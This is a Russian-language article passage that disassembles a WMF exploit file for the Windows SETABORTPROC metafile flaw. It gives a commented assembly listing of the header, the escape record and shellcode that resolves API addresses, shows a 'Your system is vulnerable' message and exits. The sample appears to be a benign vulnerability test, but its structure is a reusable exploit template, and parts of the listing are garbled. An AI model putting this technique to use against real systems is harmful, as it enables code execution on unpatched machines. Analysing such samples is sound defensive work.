структура фреймовых записей
Последняя запись всегда имеет вид 0003h 0000h 0000h (размер заголовка — 03h слова, функция – NULL, параметров — нет), что интерпретируется как "конец метафайла".
Теперь покурим и начнем дизассемблировать exploit.wmf, в котором очень много байт, но все совсем простые. Короче, откомментированный листинг которого приведенодится ниже:
WindowsMetaHeader: ; # стандартный заголовок метафайла
FileType dw 1 ; тип файла (0 - память, 1 - диск)
; API-функция PlayMetaFile игнорирует это значение,
; но большинство просмотрщиков типа Irfan Viewer'а требуют FileType == 1
;
HeaderSize dw 9 ; размер заголовка в словах (всегда 09h)
Version dw 300h ; требуемая версия Windows (01h | 03h)
FileSize dd 0EDh ; размер файла в словах
; игноруеется PlayMeatFile, IrfanViewer требует правильного значения
;
NumOfObjects dw 6 ; кол-во объектов (может быть любым)
MaxRecordSize dd 3Dh ; размер самой большой записи (может быть любым)
NumOfParams dw 0 ; кол-во параметров (может быть любым)
StandardMetaRecord: ; # фреймовая запись META_ESCAPE с shell-кодом
Size dd 11h ; размер записи в словах вместе с SMR ( >
00h)
Function db 26h ; номер функции - META_Escape (см. WINGDI.H)
num_of_arg db 6 ; кол-во аргументов (может быть любым)
subfunct dw 9 ; подфункция - SETABORTPROC
(см. WINDGI.H)
hDC dw 16h ; параметр SETABORTPROC - hDC (игнорируется)
shell_code proc near
call $+5 ; \_ EBP := EIP определяем текущий EIP
pop ebp ; / EBP := EIP
call GetKrnl32addr ; определям базовый адресbase of KERNEL32.DLL
mov ebx, eax ; ebx := eax := base ofбазовый адрес
KERNEL32.DLL
; проверка флага f_silent_mode
; if (f_silet_mode == 0) MessageBox();
esle Exit();
mov ecx, (offset f_silent_mode-21h)
add ecx, ebp
mov ecx, [ecx]
test ecx, ecx
jnz short exit ; -->
f_silent_mode !=0, goto Exit()
; определяем адрес API-функции LoadLibraryA
mov ecx, (offset aLoadlibrarya-21h) ; "LoadLibraryA"
add ecx, ebp ; ^ "LoadLibraryA"
push ecx ; ->
mov ecx,&"LoadLibraryA"
push ebx ; mov ebx, base of KERNEL32.DLL
call GetProcAddr ; mov eax, <= &LoadLibraryA"())
; загружаем библиотеку USER32.DLL
mov ecx, (offset aUser32_dll-21h) ; "user32.dll"
add ecx, ebp ; ^ "user32.dll"
push ecx ; ->
&"user32.dll"
call eax ; call LoadLibraryA("user32.dll")
; определяем адрес API-функции MessageBoxA
mov ecx, (offset aMessageboxa-21h) ; "MessageBoxA"
add ecx, ebp ; ^ "MessageBoxA"
push ecx ; ->
&"MessageBoxA"
push eax ; base of USER32.DLL
call GetProcAddr ; eax <= &MessageBoxA()
; вызываем MessageBoxA, выводим приветствие на экран
push 0 ; uType
push 0 ; lpCaption
mov ecx, (offset aYourSystemIsVu-21h) ; "Your system is vulnerable"
add ecx, ebp ; ^ "Your system is vulnerable"
push ecx ; lpText
push 0 ; hWnd
call eax ; call MessageBox
exit: ; термируем текущий процесс-хозяин ; CODE XREF: shell_code+18j
mov ecx, (offset aExitprocess-21h) ; "ExitProcess"
add ecx, ebp ; ^ "ExitProcess"
push ecx ; ->
"ExitProcess"
push ebx ; base of KERNEL32.DLL
call GetProcAddr ; eax <= &ExitProcess()
push 1 ; uExitCode
call eax ; call ExitProcess(1);
shell_code endp
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: shell_code+32o
aExitprocess db 'ExitProcess',0 ; DATA XREF: shell_code:exito
aLoadlibrarya db 'LoadLibraryA',0 ; DATA XREF: shell_code+1Ao
aUser32_dll db 'user32.dll',0 ; DATA XREF: shell_code+28o
aYourSystemIsVu db 'Your system is vulnerable',Ah; DATA XREF: shell_code+44o
db 'Please visit http://www.hexblog.com and install the hotfix!',0
aWmfVulnerabili db ' WMF Vulnerability test file by Ilfak Guilfanov',0
f_silent_mode dd 0 ; DATA XREF: shell_code+Do
; замыкающая фреймовая запись
; (требуется по спецификации, но на практике необязательна)
EndingMetaRecord:
Size dw 3
Function dw 0
Parameters dw 0